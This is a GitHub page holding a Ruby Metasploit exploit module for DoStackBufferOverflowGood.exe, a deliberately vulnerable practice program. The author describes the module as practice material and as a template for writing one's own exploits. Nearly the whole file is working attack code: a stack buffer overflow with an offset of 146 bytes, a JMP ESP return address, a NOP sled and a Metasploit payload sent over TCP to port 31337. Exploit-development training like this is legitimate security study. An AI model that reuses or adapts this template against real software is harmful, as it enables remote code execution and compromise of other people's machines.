-
Notifications
You must be signed in to change notification settings - Fork 1
/
DoStackBufferOverFlowGood.rb
56 lines (42 loc) · 1.25 KB
/
DoStackBufferOverFlowGood.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
######Metasploit module for DoStackBufferOverflowGood.exe####
######perfect for practice BoF or to use as a template for creatin' your own####
######DoStackBufferOverFlowGood.exe -> https://github.com/justinsteven/dostackbufferoverflowgood####
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
#####
include Msf::Exploit::Remote::Tcp
#####
def initialize(info = {})
super(update_info(info,
'Name' => 'DoBOFgood', #Name
'Description' => %q{
This module exploits a stack-based buffer overflow vuln
},
'Author' => 'O1phori3',
'License' => MSF_LICENSE,
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'RPORT' => 31337
},
'Payload' =>
{
'BadChars' => "\x00\x0a", #BadCharacters
},
'Platform' => 'win',
'Targets' =>
[
['BoF.exe' , { 'Ret' => 0x080416BF} ], #CALL ESP / JMP ESP
],
'DefaultTarget' => 0))
end
def exploit
connect
print_status("Connected to #{datastore['RHOST']}:#{datastore['RPORT']}")
print_status("Trying target #{target.name}")
buff = "\x41"*146 + [target.ret].pack('V') + "\x90" * 20 + payload.encoded + "\n"
handler
sock.put(buff)
disconnect
end
end